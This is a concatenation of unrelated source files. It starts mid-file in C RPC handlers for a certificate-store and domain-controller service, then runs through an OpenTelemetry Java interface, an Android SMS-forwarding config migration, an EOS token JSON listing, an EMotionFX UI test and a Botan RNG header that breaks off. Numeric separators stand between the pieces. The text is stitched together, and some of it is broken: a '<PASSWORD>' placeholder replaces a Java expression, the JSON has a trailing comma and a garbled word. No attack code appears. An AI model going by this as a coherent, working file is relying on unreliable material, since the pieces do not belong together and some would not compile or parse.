"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcGetEntryDateByAlias(
rpc_binding_handle_t hBinding,
vecs_store_handle_t pStore,
PWSTR pszAliasName,
UINT32 *pdwDate
)
{
DWORD dwError = 0;
DWORD dwDate = 0;
PVECS_SERV_STORE pStore2 = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (IsNullOrEmptyString (pszAliasName) ||
!pStore ||
!pdwDate
)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR (dwError);
}
pStore2 = (PVECS_SERV_STORE)pStore;
pStore2 = VecsSrvAcquireCertStore(pStore2);
dwError = VecsSrvGetEntryDateByAlias(
pStore2,
pszAliasName,
&dwDate
);
BAIL_ON_VMAFD_ERROR (dwError);
*pdwDate = dwDate;
cleanup:
VecsSrvReleaseCertStore (pStore2);
return dwError;
error:
if (pdwDate)
{
*pdwDate = 0;
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcGetEntryByAlias(
rpc_binding_handle_t hBinding,
vecs_store_handle_t pStore,
PWSTR pszAliasName,
UINT32 dwInfoLevel,
PVMAFD_CERT_ARRAY *ppCertArray
)
{
DWORD dwError = 0;
PVECS_SERV_STORE pStore2 = NULL;
ENTRY_INFO_LEVEL infoLevel = ENTRY_INFO_LEVEL_UNDEFINED;
PVMAFD_CERT_ARRAY pCertContainer_rpc = NULL;
PVMAFD_CERT_ARRAY pCertContainer = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!pStore ||
IsNullOrEmptyString (pszAliasName) ||
!ppCertArray
)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR (dwError);
}
dwError = VecsSrvValidateInfoLevel (dwInfoLevel, &infoLevel);
BAIL_ON_VMAFD_ERROR (dwError);
pStore2 = (PVECS_SERV_STORE)pStore;
pStore2 = VecsSrvAcquireCertStore(pStore2);
dwError = VecsSrvGetEntryByAlias(
pStore,
pszAliasName,
infoLevel,
&pCertContainer);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VecsRpcAllocateCertArray(pCertContainer, &pCertContainer_rpc);
BAIL_ON_VMAFD_ERROR (dwError);
*ppCertArray = pCertContainer_rpc;
cleanup:
VecsSrvReleaseCertStore (pStore2);
if (pCertContainer)
{
VecsFreeCertArray (pCertContainer);
}
return dwError;
error:
if (ppCertArray)
{
*ppCertArray = NULL;
}
if (pCertContainer_rpc)
{
VecsSrvRpcFreeCertArray(pCertContainer_rpc);
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcDeleteCertificate(
rpc_binding_handle_t hBinding,
vecs_store_handle_t pStore,
PWSTR pszAliasName
)
{
DWORD dwError = 0;
PVECS_SERV_STORE pStore2 = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (IsNullOrEmptyString (pszAliasName) ||
!pStore)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR (dwError);
}
pStore2 = (PVECS_SERV_STORE)pStore;
pStore2 = VecsSrvAcquireCertStore(pStore2);
dwError = VecsSrvDeleteCertificate(
pStore2,
pszAliasName
);
BAIL_ON_VMAFD_ERROR (dwError);
cleanup:
if (pStore2)
{
VecsSrvReleaseCertStore(pStore2);
}
return dwError;
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VmAfdRpcGetHeartbeatStatus(
rpc_binding_handle_t hBinding,
PVMAFD_HB_STATUS_W *ppHeartbeatStatus
)
{
DWORD dwError = 0;
PVMAFD_HB_STATUS_W pHeartbeatStatus = NULL;
PVMAFD_HB_STATUS_W pRpcHeartbeatStatus = NULL;
if (!ppHeartbeatStatus)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR (dwError);
}
dwError = VmAfSrvGetHeartbeatStatus(
&pHeartbeatStatus
);
BAIL_ON_VMAFD_ERROR (dwError);
dwError = VmAfdRpcAllocateHeartbeatStatus(
pHeartbeatStatus,
&pRpcHeartbeatStatus
);
BAIL_ON_VMAFD_ERROR(dwError);
*ppHeartbeatStatus = pRpcHeartbeatStatus;
cleanup:
if (pHeartbeatStatus)
{
VmAfdFreeHbStatusW(pHeartbeatStatus);
}
return dwError;
error:
if (ppHeartbeatStatus)
{
*ppHeartbeatStatus = NULL;
}
if (pRpcHeartbeatStatus)
{
VmAfdRpcFreeHeartbeatStatus(pRpcHeartbeatStatus);
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VmAfdRpcGetSiteName(
rpc_binding_handle_t hBinding,
PWSTR* ppwszSiteName
)
{
DWORD dwError = 0;
PWSTR pwszSiteName = NULL;
PWSTR pwszRpcSiteName = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvGetSiteName(&pwszSiteName);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRpcServerAllocateStringW(pwszSiteName, &pwszRpcSiteName);
BAIL_ON_VMAFD_ERROR(dwError);
*ppwszSiteName = pwszRpcSiteName;
cleanup:
VMAFD_SAFE_FREE_STRINGW(pwszSiteName);
return dwError;
error:
if (pwszSiteName)
{
VmAfdRpcServerFreeMemory(pwszRpcSiteName);
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_CdcRpcGetCurrentState(
rpc_binding_handle_t hBinding,
PCDC_DC_STATE pState
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = CdcSrvGetCurrentState(pState);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_CdcRpcEnableDefaultHA(
rpc_binding_handle_t hBinding
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = CdcSrvEnableDefaultHA(gVmafdGlobals.pCdcContext);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_CdcRpcEnableLegacyModeHA(
rpc_binding_handle_t hBinding
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = CdcSrvEnableLegacyModeHA(gVmafdGlobals.pCdcContext);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_CdcRpcGetDCName(
rpc_binding_handle_t hBinding,
PWSTR pszDomainName,
PWSTR pszSiteName,
UINT32 dwFlags,
PCDC_DC_INFO_W *ppDomainControllerInfo
)
{
DWORD dwError = 0;
PCDC_DC_INFO_W pAffinitizedDC = NULL;
PCDC_DC_INFO_W pRpcAffinitizedDC = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = CdcSrvGetDCName(pszDomainName, dwFlags, &pAffinitizedDC);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = CdcRpcServerAllocateDCInfoW(pAffinitizedDC, &pRpcAffinitizedDC);
BAIL_ON_VMAFD_ERROR(dwError);
*ppDomainControllerInfo = pRpcAffinitizedDC;
cleanup:
if (pAffinitizedDC)
{
VmAfdFreeDomainControllerInfoW(pAffinitizedDC);
}
return dwError;
error:
if (pRpcAffinitizedDC)
{
CdcRpcServerFreeDCInfoW(pRpcAffinitizedDC);
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_CdcRpcEnumDCEntries(
rpc_binding_handle_t hBinding,
PCDC_DC_ENTRIES_W *ppDCEntries
)
{
DWORD dwError = 0;
PCDC_DC_ENTRIES_W pDCEntries = NULL;
PWSTR *pwszDCEntriesArray = NULL;
PWSTR *pwszRpcDCEntriesArray = NULL;
DWORD dwDCEntriesCount = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = CdcSrvEnumDCEntries(
&pwszDCEntriesArray,
&dwDCEntriesCount
);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRpcServerAllocateMemory(
sizeof(CDC_DC_ENTRIES_W),
(VOID*)&pDCEntries);
BAIL_ON_VMAFD_ERROR(dwError);
if (dwDCEntriesCount > 0)
{
dwError = VmAfdRpcServerAllocateStringArrayW(
dwDCEntriesCount,
(PCWSTR*)pwszDCEntriesArray,
&pwszRpcDCEntriesArray);
BAIL_ON_VMAFD_ERROR(dwError);
}
pDCEntries->ppszEntries = pwszRpcDCEntriesArray;
pDCEntries->dwCount = dwDCEntriesCount;
*ppDCEntries = pDCEntries;
cleanup:
VmAfdFreeStringArrayW(pwszDCEntriesArray, dwDCEntriesCount);
return dwError;
error:
VmAfdRpcServerFreeStringArrayW(pwszRpcDCEntriesArray, dwDCEntriesCount);
VmAfdRpcServerFreeMemory(pDCEntries);
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_CdcRpcGetDCStatusInfo(
rpc_binding_handle_t hBinding,
PWSTR pwszDCName,
PWSTR pwszDomainName,
PCDC_DC_STATUS_INFO_W *ppDCStatusInfo,
PVMAFD_HB_STATUS_W *ppHbStatus
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
PCDC_DC_STATUS_INFO_W pDCStatusInfo = NULL;
PVMAFD_HB_STATUS_W pHbStatus = NULL;
PCDC_DC_STATUS_INFO_W pRpcDCStatusInfo = NULL;
PVMAFD_HB_STATUS_W pRpcHbStatus = NULL;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = CdcSrvGetDCStatusInfo(
pwszDCName,
pwszDomainName,
&pDCStatusInfo,
&pHbStatus
);
BAIL_ON_VMAFD_ERROR(dwError);
if (pDCStatusInfo)
{
dwError = CdcRpcAllocateDCStatusInfo(
pDCStatusInfo,
&pRpcDCStatusInfo
);
BAIL_ON_VMAFD_ERROR(dwError);
}
if (pHbStatus)
{
dwError = VmAfdRpcAllocateHeartbeatStatus(
pHbStatus,
&pRpcHbStatus
);
BAIL_ON_VMAFD_ERROR(dwError);
}
*ppDCStatusInfo = pRpcDCStatusInfo;
*ppHbStatus = pRpcHbStatus;
cleanup:
if (pDCStatusInfo)
{
VmAfdFreeCdcStatusInfoW(pDCStatusInfo);
}
if (pHbStatus)
{
VmAfdFreeHbStatusW(pHbStatus);
}
return dwError;
error:
if (ppDCStatusInfo)
{
*ppDCStatusInfo = NULL;
}
if (ppHbStatus)
{
*ppHbStatus = NULL;
}
if (pRpcDCStatusInfo)
{
CdcRpcFreeDCStatuInfo(pRpcDCStatusInfo);
}
if (pRpcHbStatus)
{
VmAfdRpcFreeHeartbeatStatus(pRpcHbStatus);
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VmAfdRpcBeginUpgrade(
rpc_binding_handle_t hBinding
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvBeginUpgrade();
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VmAfdRpcEndUpgrade(
rpc_binding_handle_t hBinding
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvEndUpgrade();
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
void
vecs_store_handle_t_rundown(void *ctx)
{
if (ctx)
{
PVECS_SERV_STORE pStore = (PVECS_SERV_STORE)ctx;
VecsSrvReleaseCertStore(pStore);
}
}
void
vecs_entry_enum_handle_t_rundown(void *ctx)
{
if (ctx)
{
PVECS_SRV_ENUM_CONTEXT pContext = (PVECS_SRV_ENUM_CONTEXT)ctx;
VecsSrvReleaseEnumContext(pContext);
}
}
//
// Rundown callback that will free the tracking information we use for paged
// log retrieval.
//
void vmafd_superlog_cookie_t_rundown(void *ctx)
{
if (ctx)
{
VmAfdFreeMemory(ctx);
}
}
UINT32
Srv_RpcVmAfdSuperLogEnable(
handle_t hBinding
)
{
DWORD dwError = 0;
/* ncalrpc is needed for self-ping operation at startup */
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_NCALRPC
| VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdEnableSuperLogging(gVmafdGlobals.pLogger);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "RpcVmAfdSuperLogEnable failed. Error(%u)", dwError);
goto cleanup;
}
UINT32
Srv_RpcVmAfdSuperLogDisable(
handle_t hBinding
)
{
DWORD dwError = 0;
/* ncalrpc is needed for self-ping operation at startup */
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_NCALRPC
| VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdDisableSuperLogging(gVmafdGlobals.pLogger);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "Srv_RpcVmAfdSuperLogDisable failed. Error(%u)", dwError);
goto cleanup;
}
UINT32
Srv_RpcVmAfdIsSuperLogEnabled(
handle_t hBinding,
UINT32* pEnabled
)
{
DWORD dwError = 0;
/* ncalrpc is needed for self-ping operation at startup */
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_NCALRPC
| VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdIsSuperLoggingEnabled(gVmafdGlobals.pLogger);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "Srv_RpcVmDirIsSuperLogEnabled failed (%u)", dwError );
goto cleanup;
}
UINT32
Srv_RpcVmAfdClearSuperLog(
handle_t hBinding
)
{
DWORD dwError = 0;
/* ncalrpc is needed for self-ping operation at startup */
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_NCALRPC
| VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdFlushSuperLogging(gVmafdGlobals.pLogger);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "Srv_RpcVmAfdClearSuperLog failed (%u)", dwError );
goto cleanup;
}
UINT32
Srv_RpcVmAfdSuperLogSetSize(
handle_t hBinding,
UINT32 iSize
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_NCALRPC
| VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdSetSuperLoggingSize(gVmafdGlobals.pLogger, iSize);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "Srv_RpcVmAfdSuperLogSetSize failed (%u)", dwError );
goto cleanup;
}
UINT32
Srv_RpcVmAfdSuperLogGetSize(
handle_t hBinding,
UINT32 *piSize
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_NCALRPC
| VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdGetSuperLoggingSize(gVmafdGlobals.pLogger, piSize);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "Srv_RpcVmAfdSuperLogGetSize failed (%u)", dwError );
goto cleanup;
}
DWORD
_VmAfdSuperLoggingInitializeCookie(
vmafd_superlog_cookie_t *pEnumerationCookie
)
{
DWORD dwError = 0;
if (*pEnumerationCookie == NULL)
{
dwError = VmAfdAllocateMemory(sizeof(ULONG64), (PVOID*)pEnumerationCookie);
BAIL_ON_VMAFD_ERROR(dwError);
}
error:
return dwError;
}
UINT32
Srv_RpcVmAfdSuperLogGetEntries(
handle_t hBinding,
vmafd_superlog_cookie_t *pEnumerationCookie,
UINT32 dwCountRequested,
PVMAFD_SUPERLOG_ENTRY_ARRAY *ppRpcEntries
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_NCALRPC
| VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = _VmAfdSuperLoggingInitializeCookie(pEnumerationCookie);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdCircularBufferGetSize(gVmafdGlobals.pLogger->pCircularBuffer, &dwCountRequested);
dwError = VmAfdSuperLoggingGetEntries(gVmafdGlobals.pLogger, (UINT64 *)*pEnumerationCookie, dwCountRequested, ppRpcEntries);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "RpcVmAfdSuperLogGetEntries failed. Error(%u)", dwError);
goto cleanup;
}
| 32,308 |
683 | /*
* Copyright The OpenTelemetry Authors
* SPDX-License-Identifier: Apache-2.0
*/
package io.opentelemetry.instrumentation.api.instrumenter;
import java.time.Instant;
/**
* Extractor of the start time of request processing. A {@link StartTimeExtractor} should always use
* the same timestamp source as the corresponding {@link EndTimeExtractor} - extracted timestamps
* must be comparable.
*/
@FunctionalInterface
public interface StartTimeExtractor<REQUEST> {
/** Returns the timestamp marking the start of the request processing. */
Instant extract(REQUEST request);
}
| 156 |
853 | package com.qwe7002.telegram_sms;
import android.util.Log;
import com.qwe7002.telegram_sms.config.proxy;
import java.util.ArrayList;
import java.util.List;
import io.paperdb.Paper;
public class update_to_version1 {
private final String TAG = "update_to_version1";
public void check_error() {
try {
Paper.book("system_config").read("proxy_config", new proxy());
} catch (Exception e) {
e.printStackTrace();
Paper.book("system_config").delete("proxy_config");
Log.i(TAG, "update_config: Unsupported type");
}
}
public void update() {
Log.i(TAG, "onReceive: Start the configuration file conversion");
List<String> notify_listen_list = Paper.book().read("notify_listen_list", new ArrayList<>());
ArrayList<String> black_keyword_list = Paper.book().read("black_keyword_list", new ArrayList<>());
com.qwe7002.telegram_sms.proxy_config outdated_proxy_item = Paper.book().read("proxy_config", new com.qwe7002.telegram_sms.proxy_config());
//Replacement object
proxy proxy_item = new proxy();
proxy_item.dns_over_socks5 = outdated_proxy_item.dns_over_socks5;
proxy_item.enable = outdated_proxy_item.enable;
proxy_item.password = <PASSWORD>;
proxy_item.username = outdated_proxy_item.username;
proxy_item.host = outdated_proxy_item.proxy_host;
proxy_item.port = outdated_proxy_item.proxy_port;
Paper.book("system_config").write("notify_listen_list", notify_listen_list).write("block_keyword_list", black_keyword_list).write("proxy_config", proxy_item);
Paper.book("system_config").write("version", 1);
Paper.book().destroy();
}
}
| 699 |
1,738 | <filename>dev/Gems/EMotionFX/Code/Tests/UI/CanAddMotionToMotionSet.cpp
/*
* All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or
* its licensors.
*
* For complete copyright and license terms please see the LICENSE at the root of this
* distribution (the "License"). All use of this software is governed by the License,
* or, if provided, by the license below or the license accompanying this file. Do not
* remove or modify any license notices. This file is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
*/
#include <gtest/gtest.h>
#include <QPushButton>
#include <QAction>
#include <QtTest>
#include <Tests/UI/AnimGraphUIFixture.h>
#include <EMotionFX/Source/AnimGraphReferenceNode.h>
#include <EMotionFX/Source/AnimGraphManager.h>
#include <EMotionFX/Source/AnimGraphObject.h>
#include <EMotionFX/Source/AnimGraphObjectFactory.h>
#include <EMotionStudio/Plugins/StandardPlugins/Source/MotionSetsWindow/MotionSetsWindowPlugin.h>
#include <EMotionStudio/Plugins/StandardPlugins/Source/AnimGraph/AnimGraphPlugin.h>
#include <EMotionStudio/Plugins/StandardPlugins/Source/AnimGraph/BlendGraphViewWidget.h>
#include <EMotionStudio/Plugins/StandardPlugins/Source/AnimGraph/BlendGraphWidget.h>
namespace EMotionFX
{
TEST_F(UIFixture, CanAddMotionToMotionSet)
{
RecordProperty("test_case_id", "C1559110");
auto motionSetPlugin = static_cast<EMStudio::MotionSetsWindowPlugin*>(EMStudio::GetPluginManager()->FindActivePlugin(EMStudio::MotionSetsWindowPlugin::CLASS_ID));
ASSERT_TRUE(motionSetPlugin) << "No motion sets plugin found";
EMStudio::MotionSetManagementWindow* managementWindow = motionSetPlugin->GetManagementWindow();
ASSERT_TRUE(managementWindow) << "No motion sets management window found";
EMStudio::MotionSetWindow* motionSetWindow = motionSetPlugin->GetMotionSetWindow();
ASSERT_TRUE(motionSetWindow) << "No motion set window found";
// Check there aren't any motion sets yet.
uint32 numMotionSets = EMotionFX::GetMotionManager().GetNumMotionSets();
EXPECT_EQ(numMotionSets, 0);
// Find the action to create a new motion set and press it.
QWidget* addMotionSetButton = GetWidgetWithNameFromNamedToolbar(managementWindow, "MotionSetManagementWindow.ToolBar", "MotionSetManagementWindow.ToolBar.AddNewMotionSet");
ASSERT_TRUE(addMotionSetButton);
QTest::mouseClick(addMotionSetButton, Qt::LeftButton);
// Check there is now a motion set.
int numMotionSetsAfterCreate = EMotionFX::GetMotionManager().GetNumMotionSets();
ASSERT_EQ(numMotionSetsAfterCreate, 1);
EMotionFX::MotionSet* motionSet = EMotionFX::GetMotionManager().GetMotionSet(0);
// Ensure new motion set is selected.
motionSetPlugin->SetSelectedSet(motionSet);
// It should be empty at the moment.
int numMotions = motionSet->GetNumMotionEntries();
EXPECT_EQ(numMotions, 0);
// Find the action to add a motion to the set and press it.
QWidget* addMotionButton = GetWidgetWithNameFromNamedToolbar(motionSetWindow, "MotionSetWindow.ToolBar", "MotionSetWindow.ToolBar.AddANewEntry");
ASSERT_TRUE(addMotionButton);
QTest::mouseClick(addMotionButton, Qt::LeftButton);
// There should now be a motion.
int numMotionsAfterCreate = motionSet->GetNumMotionEntries();
ASSERT_EQ(numMotionsAfterCreate, 1);
AZStd::unordered_map<AZStd::string, MotionSet::MotionEntry*> motions = motionSet->GetMotionEntries();
// The newly created motion should be called "<undefined>".
MotionSet::MotionEntry* motion = motions["<undefined>"];
ASSERT_TRUE(motion) << "no \"<undefined>\" motion found";
QApplication::processEvents(QEventLoop::ExcludeUserInputEvents);
}
} // namespace EMotionFX
| 1,342 |
764 | {
"symbol": "WDT",
"account_name": "wdctoken1111",
"overview": {
"en": "WDswap is an on chain system of smart contracts on the EOS blockchain. Through Bancor protocol, an automatic decentralized exchange is built (first, spot trading is launched, and then lending, leverage, futures, options and other functions are gradually added). Through WDC and WDT double-layer token, with the help of various modes, a virtuous cycle is formed, and finally the defi maWDet pattern is changed and occupied.",
"zh": "WDSwap是在EOS區塊鏈上的智能合約的鏈上系統,通過bancor協議,構建一個自動化的去中心化交易所(首先上線現貨交易,陸續增加借貸、槓桿、期貨、期權等功能),通過WDC ,WDT 雙層代幣,在各種模式的助推下,形成良性循環,最終改變並佔領DEFI 市場格局."
},
"website": "https://www.wdswap.net/",
}
| 437 |
5,411 | /*
* Random Number Generator base classes
* (C) 1999-2009,2015,2016 <NAME>
*
* Botan is released under the Simplified BSD License (see license.txt)
*/
#ifndef BOTAN_RANDOM_NUMBER_GENERATOR_H_
#define BOTAN_RANDOM_NUMBER_GENERATOR_H_
#include <botan/secmem.h>
#include <botan/exceptn.h>
#include <botan/mutex.h>
#include <chrono>
#include <string>
namespace Botan {
class Entropy_Sources;
/**
* An interface to a cryptographic random number generator
*/
class BOTAN_PUBLIC_API(2,0) RandomNumberGenerator
{
public:
virtual ~RandomNumberGenerator() = default;
RandomNumberGenerator() = default;
/*
* Never copy a RNG, create a new one
*/
RandomNumberGenerator(const RandomNumberGenerator& rng) = delete;
RandomNumberGenerator& operator=(const RandomNumberGenerator& rng) = delete;
/**
* Randomize a byte array.
* @param output the byte array to hold the random output.
* @param length the length of the byte array output in bytes.
*/
virtual void randomize(uint8_t output[], size_t length) = 0;
/**
* Returns false if it is known that this RNG object is not able to accept
* externally provided inputs (via add_entropy, randomize_with_input, etc).
* In this case, any such provided inputs are ignored.
*
* If this function returns true, then inputs may or may not be accepted.
*/
virtual bool accepts_input() const = 0;
/**
* Incorporate some additional data into the RNG state. For
* example adding nonces or timestamps from a peer's protocol
* message can help hedge against VM state rollback attacks.
* A few RNG types do not accept any externally provided input,
* in which case this function is a no-op.
*
* @param input a byte array containg the entropy to be added
* @param length the length of the byte array in
*/
virtual void add_entropy(const uint8_t input[], size_t length) = 0;
/**
* Incorporate some additional data into the RNG state.
*/
template<typename T> void add_entropy_T(const T& t)
